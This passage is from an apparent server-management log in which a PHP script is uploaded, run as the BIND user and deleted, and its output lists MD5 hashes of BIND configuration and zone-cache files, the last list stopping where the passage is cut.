	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 22:55:15: 

runuser -l bind -s /bin/bash -c '/tmp/pkp464661; rm /tmp/pkp464661'

2026-04-22 22:55:15: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 22:55:22: Establishing a connection
2026-04-22 22:55:22: 

PUT: /tmp/pkp932878

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 22:55:22: 

runuser -l bind -s /bin/bash -c '/tmp/pkp932878; rm /tmp/pkp932878'

2026-04-22 22:55:22: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
